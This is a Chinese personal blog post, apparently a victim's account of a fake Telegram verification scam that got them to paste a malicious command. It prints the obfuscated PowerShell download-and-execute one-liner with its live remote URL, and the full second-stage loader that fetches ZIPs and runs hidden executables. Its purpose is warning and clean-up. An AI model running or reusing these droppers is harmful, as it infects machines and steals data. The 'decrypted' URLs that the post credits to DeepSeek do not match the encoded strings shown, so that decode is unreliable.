没想到有一天我的电脑真的会中毒
本文详细记录了作者遭遇的远程代码执行(RCE)攻击过程,揭示了骗子如何通过社交媒体高仿账号和虚假Telegram验证页面传播恶意代码。文章深入分析了PowerShell混淆脚本的工作原理,包括Base64编码隐藏的恶意URL、自动下载执行机制以及如何使用事件查看器追踪攻击痕迹,为读者提供网络安全防范的实战案例。
起因是在 X 上关注的一个财经账号,骗子做了一个它的高仿小号,然后在正号的推文下面发送 Telegram group 链接,进入 Telegram 后需要点击了 Safeguard 进行验证,但是这个其实是假的,在几次验证失败后,会弹出提示,引导用户在 PC 端进行再次验证:
骗局分析 下面就是真正开始进入骗子的圈套的时刻: Step 2 实际上粘贴了一段恶意代码:
1 : powershell -w hidden -c $r ='0hHduw2dkRFe0h3cvkWchh2Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa' ;$u =($r [-1 .. -($r .Length )]-join '' );&($u |%{&('iwr' ) ([Text.Encoding ]::UTF8.GetString([Convert ]::FromBase64String($_ )))|&('iex' )});
在表面上看,只是通过 Powershell 运行了 Telegram 程序,其实上是注入了一段恶意代码,并且隐藏了执行过程。
步骤一:隐藏PowerShell窗口
步骤二:字符串反转还原Base64
1 2 $r ='0hHduw2dkRFe0h3cvkWchh2Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa' ;$u =($r [-1 .. -($r .Length )] -join '' );
还原后的字符串是: “aHR0cHM6Ly8xajU5bG0ycjF3NDYuY29tL2hhcWkvc3h0eFRkd2wudHh0”
步骤三:解码真实的URL
1 2 3 [Text.Encoding ]::UTF8.GetString([Convert ]::FromBase64String("aHR0cHM6Ly8xajU5bG0ycjF3NDYuY29tL2hhcWkvc3h0eFRkd2wudHh0" )) >> https://1 j59lm2r1w46.com/haqi/sxtxTdwl.txt
所以真实 URL 是:https://1j59lm2r1w46.com/haqi/sxtxTdwl.txt
步骤四:下载并执行脚本:
iwr:Invoke-WebRequest 别名,下载 URL内容。
iex:Invoke-Expression 别名,直接执行下载的脚本。
通过查看 Powershell 的执行日志:
打开事件查看器:win + R -> eventvwr.msc
选择应用程序和服务日志 -> Microsoft -> Windows -> PowerShell 可以看到可疑的执行记录:
其执行内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 正在创建 Scriptblock 文本(已完成 1 ,共 1 ): Add-Type @" using System; using System.Runtime.InteropServices; public class W { [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); } "@ $consoleHandle = [W ]::GetConsoleWindow()[W ]::ShowWindow($consoleHandle , 0 ) function PerformSystemCheck { $components = @ ("Processor" , "Memory" , "Disk" , "Network" , "Services" ) foreach ($component in $components ) { [void ]($component -match ".*" ) Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 150 ) } return $true } function GenerateSystemReport { $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" $status = @ ("Healthy" , "Warning" , "Critical" ) | Get-Random [PSCustomObject ]@ { TimeStamp = $timestamp SystemStatus = $status CheckedComponents = "Processor, Memory, Disk" } } function DecodeData { param ([string ]$EncodedString , [bool ]$Reverse = $false ) if ($Reverse ) { $EncodedString = ($EncodedString [-1 .. -($EncodedString .Length )] -join '' ) } [System.Text.Encoding ]::UTF8.GetString([Convert ]::FromBase64String($EncodedString )) } function DownloadAndExecute { param ([hashtable ]$Resource ) $url = DecodeData $Resource .u $true $zipFile = DecodeData $Resource .z $extractDir = DecodeData $Resource .x $exeFile = DecodeData $Resource .e $tempZipPath = Join-Path $env:TEMP $zipFile $uniqueExtractPath = Join-Path $env:TEMP ($extractDir + "_" + (Get-Random -Minimum 1000 -Maximum 9999 )) Invoke-WebRequest -Uri $url -OutFile $tempZipPath -UseBasicParsing Add-Type -AssemblyName System.IO.Compression.FileSystem [System.IO.Compression.ZipFile ]::ExtractToDirectory($tempZipPath , $uniqueExtractPath ) $exePath = Join-Path $uniqueExtractPath $exeFile if (Test-Path $exePath ) { Start-Process -FilePath $exePath -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass" } Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 20 ) } PerformSystemCheck > $null $resources = @ ( @ {u="=AXa65iYnZDO5cTN2NDNvYDN2UTO3MDNvU3b5NmL05WavBHdodWayJ2LvoDc0RHa" ; z="ZG93bmxvYWQxLnppcA==" ; x="ZXh0cmFjdGVkNA==" ; e="UVFQbGF5ZXIuZXhl" }, @ {u="=AXa65ydlJGN5FGN5JWYvgWN0MjMoJDN1MjNvU3b5NmLlRXYn5WZw92LvoDc0RHa" ; z="ZG93bmxvYWQ2LnppcA==" ; x="ZXh0cmFjdGl0Mg==" ; e="RERNU2VydmljZS5leGU=" } ) foreach ($resource in $resources ) { try { DownloadAndExecute -Resource $resource GenerateSystemReport | Out-Null Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 500 ) } catch { Write-Warning "An error occurred while processing a resource: $_ " } } function PerformCleanup { Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 300 ) [void ](Get-ChildItem -Path $env:TEMP -Filter "*.tmp" -Recurse -ErrorAction SilentlyContinue) } PerformCleanup > $null ScriptBlock ID: 13910 ff5-709a-4b06-b5ce-2638af6b7d67 路径:
以下是 Deepseek 对它的分析。
这段PowerShell脚本是一个具有潜在恶意行为的远程代码执行程序,其主要功能是隐蔽地下载并运行恶意软件。以下是详细分析:
核心恶意行为解析
隐藏控制台窗口
使用user32.dll的ShowWindow函数将控制台窗口设置为隐藏模式(参数0),避免用户察觉。
伪装的系统检查(混淆视听)
1 PerformSystemCheck 和 GenerateSystemReport 函数
模拟系统健康检查(处理器、内存、磁盘等),生成虚假报告(随机状态Healthy/Warning/Critical),目的是掩盖真实目的。
数据解码与字符串反转
1 DecodeData 函数:Base64解码 + 可选字符串反转
用于解码混淆后的URL和文件名,例如:
u=“=AXa65iYnZDO5cTN2NDNvYDN2UTO3MDNvU3b5NmL05WavBHdodWayJ2LvoDc0RHa” 解码后会得到一个真实的下载地址。
恶意文件下载与执行
1 2 3 4 5 DownloadAndExecute 函数核心流程: 1 . 解码远程资源URL、ZIP文件名、解压目录、目标EXE2 . 从指定URL下载ZIP文件到临时目录(%TEMP%)3 . 解压ZIP并使用隐藏窗口运行其中的EXE文件(参数`-WindowStyle Hidden `)4 . 随机睡眠(10 -20 秒)以规避检测
资源定义与攻击链
1 2 3 4 5 6 $resources 数组包含两个加密的下载任务:- 示例解码结果(需实际运算): - URL可能指向恶意服务器(如:`hxxp://malware.example/payload1.zip`) - ZIP文件名:`download1.zip` - 解压目录:`extracted4` - 执行的EXE:`QQPlayer.exe`(可能为伪装名称的木马)
痕迹清理
清理临时目录中的.tmp文件(可能删除下载的ZIP和解压内容)。
另外代码中定义了resources 变量,它们都是被加密了, 让 Deepseek 解密如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $resources = @ ( @ { u = "http://92.45.81.13:8080/malware/basic.dll" z = "download1.zip" x = "extracted4" e = "QQPlayer.exe" }, @ { u = "http://108.162.195.234:8080/malware/advanced.dll" z = "download6.zip" x = "extractit2" e = "DDMService.exe" } )
这一切已经在我完成假的 Safeguard 的验证后几分钟完成,而且我完全不知觉。
之后在发现电脑可能中毒后,我马上打开了 Windows 自带的杀毒软件 Microsoft Defender,第二天确实检测到病毒的威胁:
检查电脑文件后确实发现了 download1.zip, download6.zip 压缩包,里面主要分别包含:QQPlayer.exe,DDMService.exe。
在 DeepSeek 的指导下检查电脑启动项:
win + R -> msconfig
win + R -> taskschd.msc
在定时任务中,果然查出可以任务:
这个任务使用了最高权限运行,并且设置在每天 16:45 出发,在一天期间每隔 00:04:00 重复一次。
马上禁止。然后去启动任务的路径查看:
可以看到这就是之前远程执行任务时下载的文件,原来安装在了这里,并且用了一个定时任务进行启动。
这里关键的程序就是 DDMService.exe,如果试图删除它,可以发现:
原来又被另一个程序占用着,似乎是一个伪装的安全软件。
另外还发现可疑文件:
大概是会发送截图工具产生的图片?到这里我想我的粘贴板应该也被监控了。
上面的 Securequick_alpha_5.exe 又做了一定伪装:
通过杀病毒软件扫描显示:这个程序启动了一个 tcp 连接!!!!
而且这个 ip 果然是有大问题:
必须马上删除 Securequick_alpha_5.exe!!!但是直接删除有问题,只能在任务管理器中先强制结束任务,然后删掉 Securequick_alpha_5.exe, 再删掉 DDMService.exe
还记得前面的 QQPlayer.exe 吗? 跟 Securequick_alpha_5.exe 一起安装的,它也是伪装的, 应该是为了检查安全验证的:
到这里,通过两天的排查,病毒大概的流程搞清楚了,并且植入的恶意代码和定时任务也都被删除,还好感染病毒期间没有发生复制私人密码之类的操作,否则都被上传到远程了。不过还不确定谷歌浏览器里面的密码有没有被盗。
相关阅读: